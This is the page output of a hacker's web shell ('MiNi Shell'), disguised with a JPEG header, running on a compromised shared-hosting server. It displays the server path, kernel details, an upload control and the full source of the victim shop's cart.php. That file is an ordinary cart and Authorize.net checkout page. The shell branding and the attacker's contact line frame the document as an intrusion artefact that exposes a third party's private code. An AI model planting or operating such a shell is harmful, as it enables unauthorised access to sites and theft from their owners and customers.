JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_moge/

Linux boscustweb5004.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_moge/cart.php

<?php
	/**
	 * version 1.0.1 2022-01-03
	 * version 1.0.3 2022-02-06 增加sumary区域。
	 * version 1.0.5 2022-02-21 增加中英文支持
	 * version 1.0.7 2022-03-23 增加coupon和卡
	 * version 1.0.9 2022-03-30 增加CARD的处理
	 * version 1.0.11 2022-04-17 增加支付处理
	 * version 1.0.12 2022-05-31 删除测试代码
	 * */
	require_once (__DIR__."/lib/php/config.inc.php");
	require_once (__DIR__."/lib/php/add_to_cart.class.php");
	require_once (__DIR__."/lib/php/coupon.class.php");
    check_login_status($con);

?>
	<div class="container mo_cart_item_List mo_pg_last_line">
		<div class="row justify-content-center">
			<div class="col-12 col-md-11 h5 fw-bold mo_sub_cat_title"><?PHP echo staticText("my_cart_title");?></div>
		</div>
		<hr/>
	<?PHP 
		$sub_total=["dnk"=>0,"bkr"=>0];
		if(isset($_SESSION['COUPON'])){
			$cupn = new cupn($con,$_SESSION['COUPON']['cupn_code']);
			$_SESSION["COUPON"]=$cupn->getCouponInfo();
		}else if(isset($_SESSION['CARD'])){
			$card = getCard();
			$_SESSION["CARD"]=$card->getCardInfo();
		}
		if(isset($_SESSION["cart"])&&count($_SESSION["cart"])>0){
			$cart = new shoppingCart($con);
			$sub_total = $cart->subtotal();
			foreach($_SESSION["cart"] as $product_code=>$product){
				$productInfoArr = get_product($con,'','',$product_code);
				if(count($productInfoArr)>0){
					foreach($product as $spec=>$item){
	?>					
		<div class="row justify-content-center" cart_item="<?PHP echo $product_code."_".$spec;?>">
			<div class="card mb-3 col-12 col-md-10 ">
			  <div class="row g-0 flex-nowrap">
			    <div class="col-2 col-md-4 align-self-center">
			      <img src="<?PHP echo PRODUCT_IMAGE_SITE_PATH.$productInfoArr[0]['image'];?>" class="mo_list_img rounded-start" alt="...">
			    </div>
			    <div class="col-10 col-md-8">
			      <div class="card-body d-flex flex-row align-items-center">
			      	<div class="col-6">
				        <h5 class="card-title"><?PHP echo getValueByLang($productInfoArr[0],'name');?></h5>
				        <p class="card-text mo_spec_desc"><?PHP echo str_replace(']','>',(str_replace('[', '<', getValueByLang($item,'desc')))); ?></p>
				      </div>
				      <div class="col-6 align-self-center mo_adder_wrapper">
					      <div class="row">
					      	<div class="col-2"></div>
				        	<div class="card-text fs-3 mo_list_wrapper col-9">$<price><?PHP echo $item['price']/100; ?></price></div>
				       	</div>
				        <div class="card-text row mo_list_wrapper">
				        	<small class="text-muted row align-items-center"><div class="col-3 fs-6 px-0">qty:</div> 
					        	<list_item_qty class="col-8 fs-3 px-1">
					        		<div class="d-flex flex-row mo_adder" min=1 value=<?php echo $item["qty"];?> unit=<?php echo $item['price']/$item["qty"];?>>
												<div class="col-3 text-center adder_btn mo_icon_minus" step=-1><i class="bi bi-dash-circle"></i></div>
												<div class="col-6 text-center" id="mo_value"><?PHP echo $item["qty"];?></div>
												<div class="col-3 text-center adder_btn mo_icon_plus" step=1><i class="bi bi-plus-circle"></i></div>
											</div>
					        	</list_item_qty>
					        </small>
					      </div>
					      <div class="row my-1">
					      	<div class="col-6"><div class="btn btn-secondary btn-sm remove"><?PHP echo staticText("btn_del"); ?></div></div>
					      	<div class="col-6"><div class="btn btn-secondary btn-sm favorit"><?PHP echo staticText("btn_favorite"); ?></div></div>
					      </div>
				      </div>
			      </div>
			    </div>
			  </div>
			</div>	
		</div>
	<?PHP 
//						pr($spec."=>".$item["qty"]);
					}
				}
			}
		}else{
			echo ("<h5>".staticText("empty_cart_1")."<div id='continue_shop' class='btn btn-primary btn-sm'>".staticText("empty_cart_2")."</div>".staticText("empty_cart_3")."</h5>");
		}	
	?>
		<hr/>
		<div class="row" id="cart_sum">
			<div id="ct_pickup_store" class="col-12 col-sm-6">
				<div><?PHP echo staticText("pickup_title"); ?>:</div> 
				<div class="mo_show_border ps-2 me-2 text_pickupStore"></div>
				<div class="btn btn-secondary btn-sm mo_btn_change_pickup my-2" id="btn_change_pkp" aria-current="page" href="#" data-bs-toggle="modal" data-bs-target="#pickupStore"><?PHP echo staticText("btn_change_store"); ?></div>
			</div>
			<hr class="d-sm-none my-2"/>
			<div id="check_out_sum" class="col-12 col-sm-6">
				<div class="row align-items-center">
					<div class="mo_show_border col-7 col-sm-5"><?PHP echo staticText("subtotal"); ?>(<span class="sum_qty">0</span> items): </div>
					<div class="mo_show_border col-4 col-sm-3 sum_subtotal text-right h3 text-end">$0.00</div>
				</div>
				<?PHP
					if(isset($_SESSION['COUPON'])&&($_SESSION['COUPON']['discount_type']<CUPN_DISC_ATX_CASH)) {
				?>
				<div class="row align-items-center">
					<div class="mo_show_border col-7 col-sm-5 d-flex">
						<div><?PHP echo staticText("coupon_discount"); ?>:</div> 
						<div><div class="align-center btn btn-warning p-0 ms-1" id="btn_card_remove">remove</div></div>
					</div>
					<div class="mo_show_border col-4 col-sm-3 sum_discount sum_discount_btx text-right h3 text-end">
						<?PHP
							echo cvrtToDollar(-$cupn->getDiscountAmount($sub_total),"$"); 
						?>
					</div>
				</div>
				<?PHP 
					}
				?>
				<div class="row align-items-center">
					<div class="mo_show_border col-7 col-sm-5">HST: </div>
					<div class="mo_show_border col-4 col-sm-3 sum_hst text-right h3 text-end">$0.00</div>
				</div>
				<?PHP
					if(isset($_SESSION['COUPON'])&&($_SESSION['COUPON']['discount_type']>=CUPN_DISC_ATX_CASH)) {
				?>
				<div class="row align-items-center">
					<div class="mo_show_border col-7 col-sm-5 d-flex">
						<div><?PHP echo staticText("coupon_discount"); ?>:</div> 
						<div><div class="align-center btn btn-warning p-0 ms-1" id="btn_card_remove">remove</div></div>
					</div>
					<div class="mo_show_border col-4 col-sm-3 sum_discount sum_discount_atx text-right h3 text-end">
						<?PHP
							/*echo "- $".$cupn->getDiscountAmount($sub_total)/100;*/ 
							echo cvrtToDollar(-$cupn->getDiscountAmount($sub_total),"$");
						?>
					</div>
				</div>
				<?PHP 
					}
				?>
				<div class="row h5 align-items-center">
					<div class="mo_show_border col-7 col-sm-5"><?PHP echo staticText("total"); ?>: </div>
					<div class="mo_show_border col-4 col-sm-3 sum_total text-right h3 text-end">$0.00</div>
				</div>
				<?PHP 
					if(isset($_SESSION['CARD'])&&(isset($_SESSION['CARD']['owner_cid']))){
				?>
				<div class="row align-items-center">
					<div class="mo_show_border col-7 col-sm-5 d-flex">
						<div><?PHP 
							$card_title = [CARD_KEY_POINT=>"pay_wt_point",
											CARD_KEY_PERCENT=>"pay_wt_dscnt",
											CARD_KEY_CASH_VALUE=>"pay_wt_gift"];
							echo staticText($card_title[$_SESSION['CARD']['card_key']]).(($_SESSION['CARD']['card_key']==CARD_KEY_CASH_VALUE)?("<br>(".$_SESSION['CARD']['gift_num'].")"):""); 
						?>: 
						</div>
						<div><div class="align-center btn btn-warning p-0 ms-1" id="btn_card_remove">remove</div></div>
					</div>
					<div class="mo_show_border col-4 col-sm-3 sum_card text-right h3 text-end">
						<?PHP 
							echo cvrtToDollar(0-$card->getCardPayAmount($sub_total),"$");
						?>	
					</div>
				</div>
				<div class="row h5 align-items-center">
					<div class="mo_show_border col-7 col-sm-5"><?PHP echo staticText("pay_balance"); ?>: </div>
					<div class="mo_show_border col-4 col-sm-3 sum_pay_balance text-right h3 text-end">$0.00</div>
				</div>
				<?PHP 
					}
				?>								
				<div class="row pe-3"><div class="btn btn-primary col-7 col-sm-5 offset-5 offset-sm-4" id="btn_checkout" aria-current="page" href="#" data-bs-toggle="modal" data-bs-target="#mo_pay"><?PHP echo staticText("btn_checkout"); ?></div></div>
			</div>
		</div>
	</div>

	<div class="modal fade" id="HPConfirmation" role="dialog">
	    <div class="modal-dialog" style="display: inline-block; vertical-align: middle;">
	      <div class="modal-content">
	        <div class="modal-header">
	          <button id="closeAcceptConfirmationHeaderBtn" type="button" class="close" data-dismiss="modal">&times;</button>
	          <h4 class="modal-title"><b>Payment Confirmation</b></h4>
	        </div>
		        <div class="modal-body" style="background-color: antiquewhite">
		          	<p style="font-size: 16px; font-style: italic; padding:10px; color: #444; text-align: center"></p>
		        </div>
	        <div class="modal-footer">
	          <button id="closeAcceptConfirmationFooterBtn" type="button" class="btn btn-success" data-dismiss="modal">Close</button>
	        </div>
	      </div> 
		</div>
	</div>

	<!-- payment form Modal start -->
	<div class="modal fade" id="mo_pay" data-bs-backdrop="static" tabindex="-1" aria-labelledby="MoPayLabel" aria-hidden="true">
		<div class="modal-dialog modal-dialog-centered modal-dialog-scrollable">
			<div class="modal-content">
				<div class="modal-header">
				  <h5 class="modal-title" id="MoPayLabel">Pay with Credit Card</h5>
				  <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
				</div>

				<div class="modal-body">
					<iframe class="col-11"  name="iframeAuthorizeNet" id="iframeAuthorizeNet" src="./pay/empty.html" frameborder="0" scrolling="auto"></iframe>
				</div>
			</div>
		</div>
	</div>
	<!-- payment form Modal end -->



	<form method="post" id="formAuthorizeNetPopup" name="formAuthorizeNetPopup" target="iframeAuthorizeNet" style="display:none;">
		<input type="hidden" id="popupToken" name="token" value=""; />
	</form>   

<!-- </div>
<div class="modal-footer">
	<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
	<button type="submit" class="btn btn-primary" data-bs-dismiss="modal" id="add_cart">Add</button>
</div>-->

<script src="./lib/js/mo_com.js"></script>

<script>
	var sum = {};
	$(function(){
		$("[cart_item]").find(".mo_adder").each(function(index){
			let init_val = parseInt($(this).attr("value"));
			init_val = (isNaN(init_val))?0:init_val;
			let item_info=[];
			let a = $(this).closest("*[cart_item]").attr("cart_item").split("_");
			item_info["pid"]=a[0];
			item_info["spec"]=a[1];
			init_adder($(this),init_val,-1,updateItemQty,item_info);
		});		
		$(".btn.remove").on("click",function(){
			let cart_item_code=$(this).closest("*[cart_item]").attr("cart_item");
			let item = cart_item_code.split("_");
			manage_cart(item[0],item[1],"",1,0,"remove",removedItem,cart_item_code,item[1]);
		});
		$("#btn_change_pkp").on("click",function(){
			getCurrentPos(choosePickupStore);
		});

		if($("#ft_pickup_store").find("#store_name").length!=0){
			let html_str = $("#ft_pickup_store").find(".text_pickupStore").html();
			$("#ct_pickup_store").find(".text_pickupStore").html(html_str);
		}else{
			$("#btn_change_pkp").text("<?PHP echo staticText("btn_pick_store"); ?>");
		}

		$("#continue_shop").on("click",function(){
			$("#mo_content").load("./menu.php");
		});
		$("#btn_card_remove").on("click",function(){
			let obj = $(this).closest(".row");
			sendMsg("reqCupnCardRem","",fn_success,fn_error);

			function fn_success(res){
				$("#mo_shop_cart").trigger("click"); //移除coupon后,刷新页面,后台操作
			}

			function fn_error(res){

			}
		});
		summary();

		$("#btn_checkout").on("click",function(){
			summary();
			console.log(sum);
			console.log(JSON.stringify(sum));
			sendMsg("reqCheckout","sum="+JSON.stringify(sum),fn_success,fn_error,"<?PHP echo SITE_PATH;?>/API/aNetAPI.php");

			function fn_success(res){
				console.log(res);
				switch(res.code){
					case "200": //success send req to MOGE svr, svr side return 200 msg with payment form token
						let token = res.data[0];
						$("#popupToken").val(token);
						sendPayReqGW();
					break;
					case "1301": //empty shopping cart
					break;
					case "1302": //unset pickup store
					break;
					default:

				}
			}

			function fn_error(res){

			}
		});
	})

	/*从客户端计算*/
	function summary(){
		sum.qty = 0;
		sum.subtotal = 0;
		sum.hst = 0;
		sum.total = 0;
		sum.discount_btx = 0;
		sum.discount_atx = 0;
		sum.card_sum = 0;
		sum.pay_balance = 0;
		$(".mo_cart_item_List").find("price").each(function(){
			sum.subtotal += parseFloat($(this).text());
		});
		sum.discount_btx = -jsDollarFrStrToNum($(".sum_discount_btx").text());
		sum.discount_btx = (isNaN(sum.discount_btx))?0:sum.discount_btx;
		sum.hst = parseFloat(((sum.subtotal-sum.discount_btx) * 0.13).toFixed(2));
		sum.discount_atx = -jsDollarFrStrToNum($(".sum_discount_atx").text());
		sum.discount_atx = (isNaN(sum.discount_atx))?0:sum.discount_atx;
		sum.total = parseFloat((sum.hst+sum.subtotal-sum.discount_atx-sum.discount_btx).toFixed(2));
		sum.card_sum = -jsDollarFrStrToNum($(".sum_card").text());
		sum.card_sum = (isNaN(sum.card_sum))?0:sum.card_sum;
		sum.pay_balance = parseFloat(sum.total) - parseFloat(sum.card_sum);	
		sum.pay_balance = Math.abs(sum.pay_balance).toFixed(2);	
		sum.qty = parseInt($(".moge_cart_qty").text());

		showSum(sum);
		if($(".mo_cart_item_List").find("price").length==0){
			$("#btn_checkout").addClass("d-none");
		}else{
			$("#btn_checkout").removeClass("d-none");
		}
	}

	function showSum(sum){
		$(".sum_qty").text(sum.qty);
		$(".sum_subtotal").text("$"+sum.subtotal.toFixed(2));
		$(".sum_discount_btx").text(((sum.discount_btx==0)?"$":"- $")+sum.discount_btx.toFixed(2));
		$(".sum_discount_atx").text(((sum.discount_atx==0)?"$":"- $")+sum.discount_atx.toFixed(2));
		$(".sum_hst").text("$"+sum.hst.toFixed(2));
		$(".sum_total").text("$"+sum.total.toFixed(2));
		$(".sum_card").text(((sum.card_sum==0)?"$":"- $")+sum.card_sum.toFixed(2));
		$(".sum_pay_balance").text("$"+sum.pay_balance);
	}

	function updateItemQty(item){
		manage_cart(item['pid'],item['spec'],"",item['qty'],item['price'],"update",updatedItemQty,null,item['spec']);
	}

	function updatedItemQty(cart_info){
		//$("#total_price_bt").text(parseFloat(parseInt(cart_info["total_price"])/100).toFixed(2));
		$(".moge_cart_qty").html(cart_info["total_item"]);
		$(".sum_discount").text("- $"+(cart_info["coupon_dis"]/100).toFixed(2));
		$(".sum_card").text("- $"+(cart_info["card_paid_value"]/100).toFixed(2));
		summary();
	}

	function removedItem(cart_info,cart_item_code){
		//$("#total_price_bt").text(parseFloat(parseInt(cart_info["total_price"])/100).toFixed(2));
		$("[cart_item="+cart_item_code+"]").remove();
		if($("[cart_item]").length==0){
			$(".mo_cart_item_List").find("hr").first().after("<h5><?PHP echo staticText("empty_cart_1"); ?><div id='continue_shop' class='btn btn-sm btn-primary'><?PHP echo staticText("empty_cart_2"); ?> </div> <?PHP echo staticText("empty_cart_3"); ?> </h5>");

			$("#continue_shop").on("click",function(){
				$("#mo_content").load("./menu.php");
			});
		}
		$(".moge_cart_qty").html(cart_info["total_item"]);
		$(".sum_discount").text("- $"+(cart_info["coupon_dis"]/100).toFixed(2));
		summary();
	}

		function sendPayReqGW(){
			//sandbox environment
			let form_action="https://test.authorize.net/payment/payment";
			//product environment
			//let form_action="https://accept.authorize.net/payment/payment";
			$("#formAuthorizeNetPopup").attr("action",form_action);
			$("#formAuthorizeNetPopup").submit();			
		}

		window.CommunicationHandler = {};

		function parseQueryString(str){
			return JSON.parse(str);
		}

		CommunicationHandler.onReceiveCommunication = function (argument) {
			console.log("cart.php onReceiveCommunication()");
			console.log(argument);
			params = parseQueryString(argument.qstr)
			console.log(params);
			parentFrame = argument.parent.split('/')[4];
			console.log(parentFrame);
			$frame = null;
			console.log("parentFrame:"+parentFrame);
			switch(parentFrame){
				case "manage" 		: /*$frame = $("#load_profile");*/break;
				case "addPayment" 	: /*$frame = $("#add_payment");*/break;
				case "addShipping" 	: /*$frame = $("#add_shipping");*/break;
				case "editPayment" 	: /*$frame = $("#edit_payment");*/break;
				case "editShipping"	: /*$frame = $("#edit_shipping");*/break;
				case "payment"		: /*$frame = $("#load_payment");*/break;
			}

			switch(params['action']){
				case "resizeWindow" 	: 
					changeFrameHeight(params['height']);
				break;
				case "successfulSave" 	: console.log("successfulSave");
				break;
				case "cancel" 			: console.log("cancel");
				break;
				case "transactResponse"	: //支付后,显示出接收到的信息
					//$('#HostedPayment').attr('src','about:blank');
					console.log("cart.php 483 line transactResponse");
					sessionStorage.removeItem("HPTokenTime");
					var transResponse = JSON.parse(params['response']);

					$("#HPConfirmation p").html("<strong><b> Success.. !! </b></strong> <br><br> Your payment of <b>$"+transResponse.totalAmount+"</b> for <b>"+transResponse.orderDescription+"</b> has been Processed Successfully on <b>"+transResponse.dateTime+"</b>.<br><br>Generated Order Invoice Number is :  <b>"+transResponse.orderInvoiceNumber+"</b><br><br> Happy Shopping with us ..");
					$("#HPConfirmation p b").css({"font-size":"22px", "color":"red"});
					$("#HPConfirmation").modal("toggle");
			}
		}

		/**
		 * 重新设置支付窗口的高度。
		 * */
		function changeFrameHeight(h=0){
			let obj_iframe = $("#iframeAuthorizeNet");
			let ifrm_height = (h==0)?(document.documentElement.clientHeight/2):h;
			obj_iframe.height(ifrm_height);
		}

		/**
		 * 
		 * */
		function refreshAcceptHosted(){
			var currHPTime = sessionStorage.getItem("HPTokenTime");
			if (currHPTime === null || (Date.now()-currHPTime)/60000 > 5){
				sessionStorage.setItem("HPTokenTime",Date.now());
				$("#btn_checkout").trigger("click");
				//显示加载页面
				//$("#HostedPayment").css({"height": "200px","background":"url(images/loader.gif) center center no-repeat"});
			}
			sessionStorage.removeItem("HPTokenTime");
		}

		/**
		 * 点击HPConfirmation窗口close按钮
		 * */
		$('#closeAcceptConfirmationFooterBtn').click(function(e){
			refreshAcceptHosted();
		});

</script> 

Creat By MiNi SheLL
Email: devilkiller@gmail.com